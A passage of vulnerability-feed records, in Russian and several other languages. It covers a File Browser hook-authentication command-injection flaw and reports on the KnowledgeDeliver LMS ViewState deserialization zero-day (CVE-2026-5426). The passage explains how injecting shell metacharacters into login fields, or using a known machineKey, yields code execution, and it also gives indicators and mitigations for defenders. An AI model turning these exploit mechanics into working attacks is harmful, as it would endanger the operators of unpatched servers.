\u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83e\udde0 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\nFile Browser \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e Hook Authentication, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 2.63.6 \u043c\u0435\u0442\u043e\u0434 HookAuth.RunCommand \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0432\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (username \u0438 password \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0438\u0437 \u0442\u0435\u043b\u0430 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438) \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 (hook-\u043a\u043e\u043c\u0430\u043d\u0434\u044b) \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e os.Expand \u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0415\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b hook-\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, sh -c \"test $USERNAME = 'admin'\"), \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 /api/login, \u0432\u043d\u0435\u0434\u0440\u0438\u0432  \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ;, |, `, $())  \u0432 \u043f\u043e\u043b\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f os.Expand \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u043f\u0440\u044f\u043c\u0443\u044e \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u043c\u0435\u043d\u0443, \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u043e\u043c \u041e\u0421 \u0434\u043e \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 File Browser.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: \nFile Browser \u043d\u0438\u0436\u0435 2.63.6.\n\n\u0412\u0435\u043a\u0442\u043e\u0440:\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\ud83d\udd3bCVSS 4.0: 9.3 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u0422\u0438\u043f: \nCWE-78 (OS Command Injection), \nCWE-88 (Argument Injection), \nCWE-306 (Missing Authentication for Critical Function)\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /api/login \u0441\u043e \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ;, |, &&, $()) \u0432 \u043f\u043e\u043b\u044f\u0445 username \u0438\u043b\u0438 password.\n\u2022 \u041d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043b\u0443\u0436\u0431\u044b File Browser (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u043f\u0443\u0441\u043a /bin/sh, bash, curl, wget, nc).\n\u2022 \u041e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f hook-\u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u0438\u043b\u0438 \u043b\u043e\u0433\u0430\u0445 File Browser, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439.\n\u2022 \u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a \u0432\u043d\u0435\u0448\u043d\u0438\u043c IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c (\u043f\u0440\u0438\u0437\u043d\u0430\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f).\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 File Browser \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.63.6 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \n\u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 os.Expand \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0451\u043d, \u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u2014 \u0441\u0442\u0440\u043e\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f (cmd.Env), \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u0438\u043d\u0435\u0440\u0442\u043d\u044b\u043c\u0438.\n\n2. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 Hook Authentication. \n\n3. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a File Browser. \u041d\u0435 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0439\u0442\u0435 File Browser \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 VPN, \u0431\u0435\u043b\u044b\u0435 \u0441\u043f\u0438\u0441\u043a\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430.  \n\n4. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0447\u0435\u0440\u0435\u0437 \u0444\u043e\u0440\u043c\u0443 \u0432\u0445\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 03.06.2026.\n\n5. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430:\nhttps://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm", "creation_timestamp": "2026-08-05T00:00:35.526904Z"}, {"uuid": "90b25872-a1b2-4e43-a791-025ebcfae9d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mmqdhd34xa2q", "content": "CVE-2026-5426: KnowledgeDeliver LMS Targeted by Zero-Day ViewState Exploit", "creation_timestamp": "2026-05-26T06:10:38.589582Z"}, {"uuid": "6344a9c8-2efa-439d-8f37-657492850374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://thehackernews.com/2026/05/knowledgedeliver-lms-flaw-exploited-to.html", "content": "A now-patched high-severity security flaw affecting Digital Knowledge KnowledgeDeliver, a Learning Management System (LMS) popular in Japan, was exploited as a zero-day to deliver the Godzilla web shell and ultimately facilitate the deployment of Cobalt Strike Beacon.\n\nThe vulnerability, tracked as CVE-2026-5426 (CVSS score: 7.5), stems from the use of hard-coded ASP.NET machine keys, leading to", "creation_timestamp": "2026-05-26T03:19:38.000000Z"}, {"uuid": "2c0784ab-6050-4ed6-9e94-c1a21703c811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/calimegai.bsky.social/post/3mmqgeka5yc2c", "content": "Une faille critique (CVE-2026-5426) dans #KnowledgeDeliver LMS, tr\u00e8s utilis\u00e9 au Japon, a permis l\u2019exploitation zero-day pour d\u00e9ployer Godzilla web shell et Cobalt Strike Beacon. Patch disponible \u26a0\ufe0f #CyberSecurity #Automatisation ", "creation_timestamp": "2026-05-26T07:02:46.855217Z"}, {"uuid": "681dc69e-a3cb-4cb4-b675-8e859246dbd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5426", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mmqhg7p55c2z", "content": "Original: This article is an independent of \u201cExploitation of KnowledgeDeliver via ViewState Deserialization Vulnerability\u201d by Takahiro Sugiyama, Peter Revelant, and Mathew Potaczek, published on the Google Cloud T\nhttps://core-jmp.org/2026/05/knowledgedeliver-viewstate-deserialization-cve-2026-5426/", "creation_timestamp": "2026-05-26T07:21:36.556408Z"}, {"uuid": "eb709cf7-7ad7-44ca-a015-b7852182fa71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mmqnbdggm72p", "content": "A critical vulnerability (CVE-2026-5426) in the Japanese LMS Digital Knowledge KnowledgeDeliver allowed unauthenticated remote code execution. Attackers exploited this flaw [\u2026]", "creation_timestamp": "2026-05-26T09:06:15.188461Z"}, {"uuid": "23bb807c-e919-4f40-892a-f387aa28f671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5426", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mmqwyadgzi2x", "content": "\ud83d\udce2 Exploitation zero-day de KnowledgeDeliver via d\u00e9s\u00e9rialisation ViewState ASP.NET (CVE-2026-5426)\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nFin 2025, Mandia\u2026\nhttps://cyberveille.ch/posts/2026-05-26-exploitation-zero-day-de-knowledgedeliver-via-deserialisation-viewstate-asp-net-cve-2026-5426/ #ASP_NET_MachineKey #Cyberveille", "creation_timestamp": "2026-05-26T12:00:06.872142Z"}, {"uuid": "984d753b-ca50-49d8-9970-05f1ed864bd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "Telegram/rDPiK1vGJg8wRnXGbqSk3bi_Vn49HLdYqID-Bg62JfX7ng", "content": "", "creation_timestamp": "2026-05-26T06:36:04.000000Z"}, {"uuid": "4814c8d5-368c-4c80-af11-1b4b018c27c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mmreekkxak2q", "content": "\ud83d\udea8 #Alerta de #Ciberseguridad: Explotaci\u00f3n Zero-Day CVE-2026-5426 en #LMS \" #KnowledgeDeliver\" www.newstecnicas.com/2026/05/aler...", "creation_timestamp": "2026-05-26T15:59:49.484719Z"}, {"uuid": "9c618aef-7edd-425b-bbf8-c6c5e05d1e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://t.me/true_secator/8244", "content": "\u041f\u043e\u0434\u0432\u0435\u0434 Google, Mandiant \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e 0-day \u0432 KnowledgeDeliver, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432.\n\n\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435\u043c (LMS) KnowledgeDeliver, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u0430\u044f Digital Knowledge, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f, \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0432 \u042f\u043f\u043e\u043d\u0438\u0438.\n\n0-day, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2026-5426 (CVSS 7,5), \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0432 \u0432\u0438\u0434\u0443 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0432 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 Digital Knowledge \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b web.config, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f machineKey, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u043e\u0439 ASP.NET \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u0437\u043d\u0430\u044e\u0449\u0438\u043c \u043a\u043b\u044e\u0447\u0438, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0432 \u0430\u0442\u0430\u043a\u0438 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 ViewState.\n\nAPP.NET ViewState \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043c\u0435\u0436\u0434\u0443 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438. \u041a\u043e\u0433\u0434\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d machineKey, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0434\u043b\u044f ViewState. \u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u044d\u0442\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451.\n\n\u0414\u0430\u043d\u043d\u044b\u0439 \u0442\u0438\u043f \u0430\u0442\u0430\u043a\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u0438\u043d\u043a\u043e\u0439 \u0438 \u0440\u0430\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f \u0432 \u0445\u043e\u0434\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Sitecore\u00a0\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0439 CentreStack, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u00a0\u0430\u0442\u0430\u043a\u0430\u0445\u00a0\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u043f\u043e\u0441\u0442\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 Godzilla.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Mandiant, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0443\u043b\u044f \u0432 KnowledgeDeliver \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044e \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a Godzilla (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043a\u0430\u043a Bluebeam).\n\n\u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0435\u043c\u043e\u0435 \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u044d\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 Godzilla \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a 